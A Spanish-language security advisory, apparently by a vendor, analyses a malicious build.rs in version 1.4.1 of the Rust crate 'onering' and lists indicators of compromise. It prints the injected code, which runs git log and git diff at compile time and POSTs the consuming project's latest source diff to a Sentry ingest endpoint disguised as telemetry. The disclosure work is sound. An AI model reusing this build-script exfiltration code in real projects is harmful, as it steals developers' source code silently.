El 10 de junio de 2026, detectamos un comportamiento malicioso en la última versión, 1.4.1, del crate de Rust "onering". Onering es una biblioteca de colas y canales síncronos de alto rendimiento para Rust, con más de 18 000 descargas en crates.io. En las últimas semanas, npm, PyPI y GitHub acapararon la mayor parte de la atención con una oleada de compromisos de la cadena de suministro. Esta semana es el turno de Rust.
La última versión añadió un archivo build.rs que recopila discretamente datos de git de cualquier proyecto que esté compilando el crate y los envía a un servidor remoto, incluyendo el código fuente real de su commit más reciente. Anteriormente, hemos visto a atacantes ser creativos con la ejecución de payloads en tiempo de compilación en npm y PyPI, y ahora están experimentando con ello en Rust. Si bien la mayoría de los ataques recientes a la cadena de suministro se han centrado en el robo de credenciales, este parece estar puramente enfocado en el código fuente.
El problema no se limita al paquete publicado en crates.io. El repositorio de GitHub del mantenedor también parece estar comprometido, por lo que obtener el crate de git en lugar del registro no le hace estar seguro. Alertamos inmediatamente al mantenedor: https://github.com/cenotelie/onering/issues/1
Qué hace el build.rs malicioso
A build.rs es un script de compilación. Cargo lo compila y ejecuta en la máquina del desarrollador durante la compilación. Esto lo convierte en un lugar de alto valor para ocultar un payload, porque simplemente depender del crate y compilarlo es suficiente para activarlo. Nunca tendrá que llamar a una sola función de la biblioteca.
El código inyectado build.rs hace tres cosas.
Primero, localiza la raíz del proyecto que está consumiendo el crate, no su propio directorio. Sube desde OUT_DIR hasta que encuentra el target directorio, luego toma su directorio padre. El resultado es su repositorio.
fn get_project_path() -> Result<PathBuf, Box<dyn std::error::Error>> {
let dir = PathBuf::from(std::env::var("OUT_DIR")?);
let mut project_dir = &*dir;
while let Some(parent) = project_dir.parent() {
if let Some(last) = parent.iter().last()
&& last == "target"
&& let Some(parent) = parent.parent()
{
project_dir = parent;
break;
}
project_dir = parent;
}
Ok(project_dir.to_path_buf())
}Segundo, ejecuta dos comandos git en su repositorio. Uno recopila metadatos de commit. El otro captura el diff textual completo de su commit más reciente.
let Ok(commit) = git(
&project_path,
&[
"log",
"-n",
"1",
r#"--pretty=format:{"commit":"%H","author":"%an","email":"%ae","date":"%aI","subject":"%s"}"#,
],
) else {
return;
};
let Ok(patch) = git(&project_path, &["diff", "HEAD^", "HEAD"]) else {
return;
};El git diff HEAD^ HEAD llamada obtiene el diff completo de su último commit, que se exfiltra cada vez que compila, por lo que, a lo largo de muchos commits, filtra un flujo continuo de sus cambios de código fuente reales en lugar de una única instantánea.
Tercero, disfraza los datos robados como un evento de telemetría de Sentry y lo envía mediante POST con curl a un endpoint de ingesta de Sentry. Los metadatos del commit se convierten en las etiquetas del evento, y su diff de código se introduce en el extra.patch campo.
let payload = format!(
r#"{{"event_id":"{}","dsn":"https://8197ee42c4f59c83f4cc6d48f5bae821@o4511539639222272.ingest.de.sentry.io/4511539669368912"}}
{{"type":"event"}}
{{"message":"on build","level":"info","platform":"rust","tags": {commit},"extra": {{"patch":"{}"}}}}"#,
Uuid::new_v4().as_simple(),
patch.replace('"', "\\\"").replace('\n', "\\n"),
);
let Ok(_output) = request(
"POST",
"https://o4511539639222272.ingest.de.sentry.io/api/4511539669368912/envelope/",
&["Accept: application/json", "Content-Type: application/x-sentry-envelope"],
&payload,
) else {
return;
};El disfraz es deliberado. Para cualquiera que detecte tráfico saliente durante una compilación, una solicitud a una URL de ingesta de Sentry se interpreta como un informe de errores ordinario. También hay una línea comentada sobrante, // std::fs::write("data.txt", payload), lo que sugiere fuertemente que la carga útil se probó localmente escribiéndola en el disco antes de que se configurara la llamada de red.
Cómo Aikido detecta esto
Si es usuario de Aikido, revise su feed central y filtre por problemas de malware. Esto aparecerá como un problema crítico de 100/100. Aikido realiza reescaneos cada noche, pero recomendamos activar un reescaneo manual ahora.
Si aún no es usuario de Aikido, puede crear una cuenta y conectar sus repositorios. Nuestra cobertura de malware está incluida en el plan gratuito, sin necesidad de tarjeta de crédito.
Para una cobertura más amplia en todo su equipo, Device Protection de Aikido le proporciona visibilidad y control sobre los paquetes de software instalados en los dispositivos de su equipo. Cubre extensiones de navegador, bibliotecas de código, plugins IDE y dependencias de compilación, todo en un solo lugar. Detenga el malware antes de que se instale.
Para una protección futura, considere Aikido Safe Chain (código abierto). Safe Chain se integra en su flujo de trabajo existente, interceptando comandos npm, npx, yarn, pnpm y pnpx y verificando los paquetes con Aikido Intel antes de la instalación.
Indicadores de compromiso
- Dependencia
oneringversión 1.4.1 de crates.io. - El endpoint de ingesta de Sentry
https://o4511539639222272.ingest.de.sentry.io/api/4511539669368912/envelope/. - La clave pública DSN de Sentry
8197ee42c4f59c83f4cc6d48f5bae821, ID de organizacióno4511539639222272, e ID de proyecto4511539669368912.

